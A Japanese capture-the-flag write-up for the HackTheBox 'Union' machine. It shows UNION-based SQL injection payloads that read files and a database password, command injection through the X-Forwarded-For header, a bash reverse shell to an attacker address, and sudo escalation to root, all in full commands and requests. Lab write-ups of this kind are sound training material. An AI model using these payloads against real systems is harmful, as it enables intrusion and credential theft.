HackTheBox Union
Union
侵入
nmap
┌──(kali㉿kali)-[~/Desktop/Union]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.128 -oN nmap.log
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
80番ポートのみを確認
web
見たことある感じのWebサイトを発見
試しに、「test」と入力してみる
大会に出場してくださいというメッセージと共に、入力した「test」が出力されている
色々試していると、入力がエスケープされていないことが判明した
さらに、ippsec(ボックスの作成者)を入力することで、既に存在するという出力が見られた
この出力から、SQL が発行されていそうだと予想できる
SQL インジェクションが発火するか試したが、特にエラーは見られなかった
SQL インジェクション
基本的な攻撃を試したが、発火しなかったので、ダメ元で、or 1 = 1 -- - を入力
一見何も変わらないように見えるが、リンクが出力されていないことを確認
少し怪しいので、調査を進めていく
上記のように、「or 1 = 1」 をつけない場合、通常の Sorry の出力が見られた
これが表すのは、入力全体が SQL として解釈されているということである
player=' UNION select 1;-- -
UNION による情報取得を試みるために、上記のリクエストを送信
Sorry, 1 you are not eligible due to already qualifying.
レスポンスとして、1のみが表示されたため、UNION を使用できたことがわかる
player=' UNION select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.schemata;-- -
UNION を使用し、データベースを検索する
mysql,information_schema,performance_schema,sys,november
通常のデータベースと合わせて、november というデータベースを確認
player=' union select group_concat(table_name) from INFORMATION_SCHEMA.tables where table_schema='november';-- -
次に、november にどのようなテーブルがあるか検索する
flag,players
テーブルとして、flag と players を発見
player=' union select * from flag;-- -
フラグを取得するために、flag テーブル内を検索
UHC{F1rst_5tep_2_Qualify}
フラグが取得できた
フラグを入力する画面で、取得した文字列を入力
今回のボックスは、80番しか開いてなかったが、SSHアクセスを許可するような表示が見られた
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
再度、nmap でポートスキャンを行うと、22番が確認できた
次は、ssh に使用できる情報がないかを調べていく
player=' union select load_file('/etc/passwd');-- -
まず、先にユーザの存在を確認する
root:x:0:0:root:/root:/bin/bash
htb:x:1000:1000:htb:/home/htb:/bin/bash
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash
多くのユーザが確認できたが、/home ディレクトリに存在する uhc と htb ユーザに注目
どちらかのユーザの認証情報が欲しい
player=' union select load_file('/var/www/html/config.php');-- -
認証情報といえば、config.php を確認
<?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
パスワードを発見
uhc としてのシェル
SSH
┌──(kali㉿kali)-[~/Desktop/Union]
└─$ ssh uhc@10.10.11.128
uhc@10.10.11.128's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Nov 8 21:19:42 2021 from 10.10.14.8
uhc@union:~$ whoami
uhc
侵入成功
user フラグ
uhc@union:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
列挙
firewall.php
権限昇格に繋がりそうな情報が見つからなかったので、ソースコードを見てみる
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
すると、firewall.php で system 関数が使用されていることがわかる
また、HTTP_X_FORWARDED_FOR パラメータは $ip として入力値がそのまま使用されている
GET /firewall.php HTTP/1.1
Host: union.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ioag2pmd10auddmglucitibmro
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-FORWARDED-FOR: 1.1.1.1; ping -c 1 10.10.14.12;
これを使用し、リバースシェルを取得するために、ping を実行できるか試してみる
┌──(kali㉿kali)-[~/Desktop/Union]
└─$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:40:38.190592 IP union.htb > 10.10.14.12: ICMP echo request, id 2, seq 1, length 64
23:40:38.190644 IP 10.10.14.12 > union.htb: ICMP echo reply, id 2, seq 1, length 64
tcpdump で待ち受けると、通信を確認できたことから、ping が使えたことがわかる
www-data としてのシェル
bash
先ほどの、ping を bash に変更し、リバースシェルの取得を試みる
GET /firewall.php HTTP/1.1
Host: union.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ioag2pmd10auddmglucitibmro
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
X-FORWARDED-FOR: 1.1.1.1; bash -c "bash -i >& /dev/tcp/10.10.14.12/5555 0>&1";
Burp Suiteでうまくいかない場合は、curl コマンドなども使用してみるとよい
┌──(kali㉿kali)-[~/Desktop/Union]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.128] 36216
bash: cannot set terminal process group (793): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ whoami
whoami
www-data
www-data のシェルを取得することに成功
権限昇格
sudo
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
なんと、sudo が許可されている
root としてのシェル
su
www-data@union:~/html$ sudo su
root@union:/var/www/html# whoami
root
権限昇格成功
root フラグ
root@union:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
所感
今回のボックスは、SQLインジェクションが主になっており、今まで知識を活かした攻略ができたので楽しかった。MEDIUMなのに、sudoが使えてしまうのにはびっくりしたが、とてもいいボックスだったと思う。
Discussion